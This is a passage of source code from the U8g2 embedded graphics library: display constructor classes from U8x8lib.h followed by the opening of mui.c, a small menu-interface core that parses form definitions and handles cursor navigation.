u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_S1D15721_240X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_S1D15721_240X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_S1D15721_240X64_6800 : public U8X8 { public: U8X8_S1D15721_240X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_S1D15721_240X64_8080 : public U8X8 { public: U8X8_S1D15721_240X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_GU800_128X64_4W_SW_SPI : public U8X8 { public: U8X8_GU800_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_GU800_128X64_4W_HW_SPI : public U8X8 { public: U8X8_GU800_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_GU800_128X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_GU800_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_GU800_128X64_6800 : public U8X8 { public: U8X8_GU800_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_GU800_128X64_8080 : public U8X8 { public: U8X8_GU800_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_128x64, u8x8_gu800_cad_110, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_GU800_160X16_4W_SW_SPI : public U8X8 { public: U8X8_GU800_160X16_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_GU800_160X16_4W_HW_SPI : public U8X8 { public: U8X8_GU800_160X16_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_GU800_160X16_2ND_4W_HW_SPI : public U8X8 { public: U8X8_GU800_160X16_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_GU800_160X16_6800 : public U8X8 { public: U8X8_GU800_160X16_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_GU800_160X16_8080 : public U8X8 { public: U8X8_GU800_160X16_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gu800_160x16, u8x8_gu800_cad_110, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_GP1287AI_256X50_4W_SW_SPI : public U8X8 { public: U8X8_GP1287AI_256X50_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gp1287ai_256x50, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_GP1287AI_256X50_4W_HW_SPI : public U8X8 { public: U8X8_GP1287AI_256X50_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gp1287ai_256x50, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_GP1287AI_256X50_2ND_4W_HW_SPI : public U8X8 { public: U8X8_GP1287AI_256X50_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gp1287ai_256x50, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_GP1247AI_253X63_4W_SW_SPI : public U8X8 { public: U8X8_GP1247AI_253X63_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gp1247ai_253x63, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_GP1247AI_253X63_4W_HW_SPI : public U8X8 { public: U8X8_GP1247AI_253X63_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gp1247ai_253x63, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_GP1247AI_253X63_2ND_4W_HW_SPI : public U8X8 { public: U8X8_GP1247AI_253X63_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_gp1247ai_253x63, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; // constructor list end #endif // U8X8_USE_PINS #endif /* _U8X8LIB_HH */ ================================================ FILE: Bibliotecas/U8g2/src/clib/mui.c ================================================ /* mui.c Monochrome minimal user interface: Core library. Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2021, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. "mui.c" is a graphical user interface, developed as part of u8g2. However "mui.c" is independent of u8g2 and can be used without u8g2 code. The glue code between "mui.c" and u8g2 is located in "mui_u8g2.c" c: cmd i: ID0 j: ID1 xy: Position (x and y) /text/: some text. The text can start with any delimiter (except 0 and |), but also has to end with the same delimiter a: Single char argument u: Single char argument with the user interface form number "Uu" the interface --> no ID Manual ID: "Fijxy" Generic field: Places field with id ii at x/y --> ID=ij "Bijxy/text/" Generic field (Button) with Text --> ID=ij "Tiixya/text/" Generic field with argument and text --> ID = ij "Aiixya" Fixed ID: "Si" the style --> ID=@i "Lxy/labeltext/" Places a text at the specified position, field with - -> ID=.L, .l "Gxyu/menutext/" Go to the specified menu without placing the user interface form on the stack --> ID=.G, .g cijxy cijxy/text/ cijxya/text/ cxy/text/ cxya/text/ */ #include "mui.h" //#define mui_get_fds_char(s) ((uint8_t)(*s)) //#include //#define MUI_DEBUG(...) printf(__VA_ARGS__) #define MUI_DEBUG(...) uint8_t mui_get_fds_char(fds_t *s) { //return (uint8_t)(*s); return (uint8_t)mui_pgm_read(s); } /* s must point to a valid command within FDS */ static size_t mui_fds_get_cmd_size_without_text(fds_t *s) MUI_NOINLINE; static size_t mui_fds_get_cmd_size_without_text(fds_t *s) { uint8_t c = mui_get_fds_char(s); c &= 0xdf; /* consider upper and lower case */ switch(c) { case 'U': return 2; // User Form: CMD (1 Byte), Form-Id (1 Byte) case 'S': return 2; // Style: CMD (1 Byte), Style Id (1 Byte) case 'D': return 3; // Data within Text: CMD (1 Byte), ID (2 Bytes), Text (does not count here) case 'Z': return 3; // Zero field without x, y, arg & text: CMD (1 Byte), ID (2 Bytes) case 'F': return 5; // Field without arg & text: CMD (1 Byte), ID (2 Bytes), X, Y case 'B': return 5; // Field with text: CMD (1 Byte), ID (2 Bytes), X, Y, Text (does not count here) case 'T': return 6; // Field with arg & text: CMD (1 Byte), ID (2 Bytes), X, Y, Arg, Text (does not count here) case 'A': return 6; // Field with arg (no text): CMD (1 Byte), ID (2 Bytes), X, Y, Arg, Text case 'L': return 3; // Text Label: CMD (1 Byte), X, Y (same as 'B' but with fixed ID '.L', MUIF_LABEL, MUI_LABEL) case 'G': return 4; // Goto Btutton: CMD (1Byte), X, Y, Arg, Text (same as 'T' but with fixed ID '.G', MUIF_GOTO, MUI_GOTO) case 0: return 0; } return 1; } /* s must point to the string delimiter start: first '/' for "B00ab/ok/" - '/' actually is 0xff - return the total size of the string, including the delimiter - copies the content of the string ("ok") to the ui text buffer */ static size_t mui_fds_parse_text(mui_t *ui, fds_t *s) { uint8_t i = 0; ui->delimiter = mui_get_fds_char(s); uint8_t c; fds_t *t = s; //printf("mui_fds_parse_text del=%d\n", delimiter); #ifdef MUI_CHECK_EOFDS if ( ui->delimiter == 0 ) return 0; #endif t++; for( ;; ) { c = mui_get_fds_char(t); //printf("mui_fds_parse_text i=%d, c=%c\n", i, c); #ifdef MUI_CHECK_EOFDS if ( c == 0 ) break; #endif if ( c == ui->delimiter ) { t++; break; } if ( i < MUI_MAX_TEXT_LEN ) { ui->text[i++] = c; } t++; } ui->text[i] = '\0' ; return t-s; } /* get the first token within a text argument. The text argument may look like this: "B00ab/banana|apple|peach|cherry/" The outer delimiter "/" is not fixed and can be any char except "|" and "\0" The inner delimiter "|" is fixed. It must be the pipe symbol. This function will place "banana" into ui->text if the result is not 0 if ( mui_fds_first_token(ui) ) { do { // handle token in ui->text } while ( mui_fds_next_token(ui) ) } */ uint8_t mui_fds_first_token(mui_t *ui) { ui->token = ui->fds; ui->token += mui_fds_get_cmd_size_without_text(ui->fds); ui->delimiter = mui_get_fds_char(ui->token); ui->token++; // place ui->token on the first char of the token return mui_fds_next_token(ui); } /* The inner token delimiter "|" is fixed. It must be the pipe symbol. */ uint8_t mui_fds_next_token(mui_t *ui) { uint8_t c; uint8_t i = 0; // printf("mui_fds_next_token: call, ui->token=%p\n", ui->token); for( ;; ) { c = mui_get_fds_char(ui->token); // printf("mui_fds_next_token: i=%d c=%c\n", i, c); #ifdef MUI_CHECK_EOFDS if ( c == 0 ) break; #endif if ( c == ui->delimiter ) break; if ( c == '|' ) { ui->token++; // place ui->token on the first char of the next token break; } if ( i < MUI_MAX_TEXT_LEN ) { ui->text[i++] = c; } ui->token++; } ui->text[i] = '\0' ; if ( i == 0 ) return 0; // no further token found return 1; // token placed in ui->text } /* find nth token ('|' delimiter), return 0 if n exceeds the number of tokens, 1 otherwise the result is stored in ui->text */ uint8_t mui_fds_get_nth_token(mui_t *ui, uint8_t n) { // printf("mui_fds_get_nth_token: call, n=%d\n", n); if ( mui_fds_first_token(ui) ) { do { if ( n == 0 ) { // printf("mui_fds_get_nth_token: found"); return 1; } n--; } while ( mui_fds_next_token(ui) ); } //printf("mui_fds_get_nth_token: NOT found\n"); return 0; } uint8_t mui_fds_get_token_cnt(mui_t *ui) { uint8_t n = 0; if ( mui_fds_first_token(ui) ) { do { n++; } while ( mui_fds_next_token(ui) ); } return n; } #define mui_fds_is_text(c) ( (c) == 'U' || (c) == 'S' || (c) == 'F' || (c) == 'A' || (c) == 'Z' ? 0 : 1 ) /* s must point to a valid command within FDS return The complete length of the command (including any text part) sideeffect: Any existing text part will be copied into ui->text ui->text will be assigned to empty string if there is no text argument */ static size_t mui_fds_get_cmd_size(mui_t *ui, fds_t *s) MUI_NOINLINE; static size_t mui_fds_get_cmd_size(mui_t *ui, fds_t *s) { size_t l = mui_fds_get_cmd_size_without_text(s); uint8_t c = mui_get_fds_char(s); ui->text[0] = '\0' ; /* always reset the text buffer */ if ( mui_fds_is_text(c) ) { l += mui_fds_parse_text(ui, s+l); } return l; } /* mui_Init() will setup the menu system but will not activate or display anything. Use mui_GotoForm() after this command, then use mui_Draw() to draw the menu on a display. */ void mui_Init(mui_t *ui, void *graphics_data, fds_t *fds, muif_t *muif_tlist, size_t muif_tcnt) { memset(ui, 0, sizeof(mui_t)); ui->root_fds = fds; //ui->current_form_fds = NULL; // not required, because there was a memset before ui->muif_tlist = muif_tlist; ui->muif_tcnt = muif_tcnt; ui->graphics_data = graphics_data; } int mui_find_uif(mui_t *ui, uint8_t id0, uint8_t id1) { size_t i; for( i = 0; i < ui->muif_tcnt; i++ ) { /* if ( ui->muif_tlist[i].id0 == id0 ) if ( ui->muif_tlist[i].id1 == id1 ) return i; */ if ( muif_get_id0(ui->muif_tlist+i) == id0 ) if ( muif_get_id1(ui->muif_tlist+i) == id1 ) return i; } return -1; } /* assumes a valid position in ui->fds and calculates all the other variables some fields are always calculated like the ui->cmd and ui->len field other member vars are calculated only if the return value is 1 will return 1 if the field id was found. will return 0 if the field id was not found in uif or if ui->fds points to something else than a field */ static uint8_t mui_prepare_current_field(mui_t *ui) MUI_NOINLINE; static uint8_t mui_prepare_current_field(mui_t *ui) { int muif_tidx; ui->uif = NULL; ui->dflags = 0; ui->id0 = 0; ui->id1 = 0; ui->arg = 0; /* calculate the length of the command and copy the text argument */ /* this will also clear the text in cases where there is no text argument */ ui->len = mui_fds_get_cmd_size(ui, ui->fds); //printf("mui_prepare_current_field len=%d\n", ui->len); /* get the command and check whether end of form is reached */ ui->cmd = mui_get_fds_char(ui->fds); //printf("mui_prepare_current_field cmd='%c' len=%d\n", ui->cmd, ui->len); /* Copy the cmd also to second id value. This is required for some commands, others will overwrite this below */ ui->id1 = ui->cmd; /* now make the command uppercase so that both, upper and lower case are considered */ ui->cmd &= 0xdf; /* consider upper and lower case */ if ( ui->cmd == 'U' || ui->cmd == 0 ) return 0; /* calculate the dynamic flags */ if ( ui->fds == ui->cursor_focus_fds ) ui->dflags |= MUIF_DFLAG_IS_CURSOR_FOCUS; if ( ui->fds == ui->touch_focus_fds ) ui->dflags |= MUIF_DFLAG_IS_TOUCH_FOCUS; /* get the id0 and id1 values */ if ( ui->cmd == 'F' || ui->cmd == 'B' || ui->cmd == 'T' || ui->cmd == 'A' ) { ui->id0 = mui_get_fds_char(ui->fds+1); ui->id1 = mui_get_fds_char(ui->fds+2); ui->x = mui_get_fds_char(ui->fds+3); ui->y = mui_get_fds_char(ui->fds+4); if ( ui->cmd == 'A' || ui->cmd == 'T' ) { ui->arg = mui_get_fds_char(ui->fds+5); } } else if ( ui->cmd == 'D' || ui->cmd == 'Z' ) { ui->id0 = mui_get_fds_char(ui->fds+1); ui->id1 = mui_get_fds_char(ui->fds+2); } else if ( ui->cmd == 'S' ) { ui->id0 = 'S'; ui->id1 = mui_get_fds_char(ui->fds+1); } else { ui->id0 = '.'; /* note that ui->id1 contains the original cmd value */ ui->x = mui_get_fds_char(ui->fds+1); ui->y = mui_get_fds_char(ui->fds+2); if ( ui->cmd == 'G' || ui->cmd == 'M' ) /* this is also true for 'g' or 'm' */ { ui->arg = mui_get_fds_char(ui->fds+3); } } //MUI_DEBUG("mui_prepare_current_field cmd='%c' len=%d arg=%d\n", ui->cmd, ui->len, ui->arg); /* find the field */ muif_tidx = mui_find_uif(ui, ui->id0, ui->id1); //printf("mui_prepare_current_field: muif_tidx=%d\n", muif_tidx); if ( muif_tidx >= 0 ) { ui->uif = ui->muif_tlist + muif_tidx; return 1; } return 0; } /* assumes that ui->fds has been assigned correctly and that ui->target_fds and ui->tmp_fds had been cleared if required Usually do not call this function directly, instead use mui_loop_over_form */ static void mui_inner_loop_over_form(mui_t *ui, uint8_t (*task)(mui_t *ui)) MUI_NOINLINE; static void mui_inner_loop_over_form(mui_t *ui, uint8_t (*task)(mui_t *ui)) { uint8_t cmd; //MUI_DEBUG("mui_inner_loop_over_form start %p\n", task); ui->fds += mui_fds_get_cmd_size(ui, ui->fds); // skip the first entry, it is U always for(;;) { //printf("fds=%p *fds='%c'\n", ui->fds, ui->fds[0]); /* get the command and check whether end of form is reached */ cmd = mui_get_fds_char(ui->fds); if ( cmd == 'U' || cmd == 0 ) break; if ( mui_prepare_current_field(ui) ) /* side effect: calculate ui->len */ if ( task(ui) ) /* call the task, which was provided as argument to this function */ { //MUI_DEBUG("mui_inner_loop_over_form break by task\n"); break; } ui->fds += ui->len; } //MUI_DEBUG("mui_inner_loop_over_form end %p\n", task); } static void mui_loop_over_form(mui_t *ui, uint8_t (*task)(mui_t *ui)) MUI_NOINLINE; static void mui_loop_over_form(mui_t *ui, uint8_t (*task)(mui_t *ui)) { if ( mui_IsFormActive(ui) == 0 ) return; ui->fds = ui->current_form_fds; ui->target_fds = NULL; ui->tmp_fds = NULL; mui_inner_loop_over_form(ui, task); } /* n is the form number */ fds_t *mui_find_form(mui_t *ui, uint8_t n) { fds_t *fds = ui->root_fds; uint8_t cmd; for( ;; ) { cmd = mui_get_fds_char(fds); if ( cmd == 0 ) break; if ( cmd == 'U' ) { if ( mui_get_fds_char(fds+1) == n ) { return fds; } /* not found, just coninue */ } fds += mui_fds_get_cmd_size(ui, fds); } return NULL; } /* === task procedures (arguments for mui_loop_over_form) === */ /* ui->fds contains the current field */ uint8_t mui_task_draw(mui_t *ui) { //printf("mui_task_draw fds=%p uif=%p text=%s\n", ui->fds, ui->uif, ui->text); muif_get_cb(ui->uif)(ui, MUIF_MSG_DRAW); return 0; /* continue with the loop */ } uint8_t mui_task_form_start(mui_t *ui) { muif_get_cb(ui->uif)(ui, MUIF_MSG_FORM_START); return 0; /* continue with the loop */ } uint8_t mui_task_form_end(mui_t *ui) { muif_get_cb(ui->uif)(ui, MUIF_MSG_FORM_END); return 0; /* continue with the loop */ } static uint8_t mui_uif_is_cursor_selectable(mui_t *ui) MUI_NOINLINE; static uint8_t mui_uif_is_cursor_selectable(mui_t *ui) { if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE ) { return 1; } return 0; } uint8_t mui_task_find_prev_cursor_uif(mui_t *ui) { //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE ) if ( mui_uif_is_cursor_selectable(ui) ) { if ( ui->fds == ui->cursor_focus_fds ) { ui->target_fds = ui->tmp_fds; return 1; /* stop looping */ } ui->tmp_fds = ui->fds; } return 0; /* continue with the loop */ } uint8_t mui_task_find_first_cursor_uif(mui_t *ui) { //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE ) if ( mui_uif_is_cursor_selectable(ui) ) { // if ( ui->target_fds == NULL ) // { ui->target_fds = ui->fds; return 1; /* stop looping */ // } } return 0; /* continue with the loop */ } uint8_t mui_task_find_last_cursor_uif(mui_t *ui) { //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE ) if ( mui_uif_is_cursor_selectable(ui) ) { //ui->cursor_focus_position++; ui->target_fds = ui->fds; } return 0; /* continue with the loop */ } uint8_t mui_task_find_next_cursor_uif(mui_t *ui) { //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE ) if ( mui_uif_is_cursor_selectable(ui) ) { if ( ui->tmp_fds != NULL ) { ui->target_fds = ui->fds; ui->tmp_fds = NULL; return 1; /* stop looping */ } if ( ui->fds == ui->cursor_focus_fds ) { ui->tmp_fds = ui->fds; } } return 0; /* continue with the loop */ } uint8_t mui_task_get_current_cursor_focus_position(mui_t *ui) { //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE ) if ( mui_uif_is_cursor_selectable(ui) ) { if ( ui->fds == ui->cursor_focus_fds ) return 1; /* stop looping */ ui->tmp8++; } return 0; /* continue with the loop */ } uint8_t mui_task_read_nth_selectable_field(mui_t *ui) { //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE ) if ( mui_uif_is_cursor_selectable(ui) ) { if ( ui->tmp8 == 0 ) return 1; /* stop looping */ ui->tmp8--; } return 0; /* continue with the loop */ } uint8_t mui_task_find_execute_on_select_field(mui_t *ui) { if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_EXECUTE_ON_SELECT ) { ui->target_fds = ui->fds; return 1; /* stop looping */ } return 0; /* continue with the loop */ } /* === utility functions for the user API === */ static uint8_t mui_send_cursor_msg(mui_t *ui, uint8_t msg) MUI_NOINLINE; static uint8_t mui_send_cursor_msg(mui_t *ui, uint8_t msg) { if ( ui->cursor_focus_fds ) { ui->fds = ui->cursor_focus_fds; if ( mui_prepare_current_field(ui) ) return muif_get_cb(ui->uif)(ui, msg); } return 0; /* not called, msg not handled */ } /* === user API === */ /* returns the field pos which has the current focus If the first selectable field has the focus, then 0 will be returned Unselectable fields (for example labels) are skipped by this count. If no fields are selectable, then 0 is returned The return value can be used as last argument for mui_EnterForm or mui_GotoForm WARNING: This function will destroy current fds and field information. */ uint8_t mui_GetCurrentCursorFocusPosition(mui_t *ui) { //fds_t *fds = ui->fds; ui->tmp8 = 0; mui_loop_over_form(ui, mui_task_get_current_cursor_focus_position); //ui->fds = fds; return ui->tmp8; } void mui_Draw(mui_t *ui) { mui_loop_over_form(ui, mui_task_draw); } void mui_next_field(mui_t *ui) { mui_loop_over_form(ui, mui_task_find_next_cursor_uif); // ui->cursor_focus_position++; ui->cursor_focus_fds = ui->target_fds; // NULL is ok if ( ui->target_fds == NULL ) { mui_loop_over_form(ui, mui_task_find_first_cursor_uif); ui->cursor_focus_fds = ui->target_fds; // NULL is ok // ui->cursor_focus_position = 0; } } /* this function will overwrite the ui field related member variables nth_token can be 0 if the fiel text is not a option list the result is stored in ui->text token delimiter is '|' (pipe symbol) fds: The start of a field (MUI_DATA) nth_token: The position of the token, which should be returned */ uint8_t mui_GetSelectableFieldTextOption(mui_t *ui, fds_t *fds, uint8_t nth_token) { fds_t *fds_backup = ui->fds; // backup the current fds, so that this function can be called inside a task loop int len = ui->len; // backup length of the current command, 26 sep 2021: probably this is not required any more uint8_t is_found; ui->fds = fds; // at this point ui->fds contains the field which contains the tokens // now get the opion string out of the text field. nth_token can be 0 if this is no opion string is_found = mui_fds_get_nth_token(ui, nth_token); // return value is ignored here ui->fds = fds_backup; // restore the previous fds position ui->len = len; // result is stored in ui->text return is_found; } uint8_t mui_GetSelectableFieldOptionCnt(mui_t *ui, fds_t *fds) { fds_t *fds_backup = ui->fds; // backup the current fds, so that this function can be called inside a task loop int len = ui->len; // backup length of the current command 26 sep 2021: probably this is not required any more uint8_t cnt = 0; ui->fds = fds; // at this point ui->fds contains the field which contains the tokens // now get the opion string out of the text field. nth_token can be 0 if this is no opion string cnt = mui_fds_get_token_cnt(ui); ui->fds = fds_backup; // restore the previous fds position ui->len = len; // result is stored in ui->text return cnt; } //static void mui_send_cursor_enter_msg(mui_t *ui) MUI_NOINLINE; static uint8_t mui_send_cursor_enter_msg(mui_t *ui) { ui->is_mud = 0; return mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_ENTER); } /* if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback. mui_EnterForm is similar to mui_GotoForm and differes only in the second argument (which is the form id instead of the fds pointer) */ void mui_EnterForm(mui_t *ui, fds_t *fds, uint8_t initial_cursor_position) { /* exit any previous form, will not do anything if there is no current form */ mui_LeaveForm(ui); /* clean focus fields */ ui->touch_focus_fds = NULL; ui->cursor_focus_fds = NULL; /* reset all the scoll values */ ui->form_scroll_top = 0; ui->form_scroll_visible = 0; ui->form_scroll_total = 0; /* assign the form, which should be entered */ ui->current_form_fds = fds; /* inform all fields that we start a new form */ MUI_DEBUG("mui_EnterForm: form_start, initial_cursor_position=%d\n", initial_cursor_position); mui_loop_over_form(ui, mui_task_form_start); /* assign initional cursor focus */ MUI_DEBUG("mui_EnterForm: find_first_cursor_uif\n"); mui_loop_over_form(ui, mui_task_find_first_cursor_uif); ui->cursor_focus_fds = ui->target_fds; // NULL is ok MUI_DEBUG("mui_EnterForm: find_first_cursor_uif target_fds=%p\n", ui->target_fds); while( initial_cursor_position > 0 ) { mui_NextField(ui); // mui_next_field(ui) is not sufficient in case of scrolling initial_cursor_position--; } while( mui_send_cursor_enter_msg(ui) == 255 ) { mui_NextField(ui); // mui_next_field(ui) is not sufficient in case of scrolling } } /* input: current_form_fds */ /* if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback. */ void mui_LeaveForm(mui_t *ui) { if ( mui_IsFormActive(ui) == 0 ) return; mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_LEAVE); ui->cursor_focus_fds 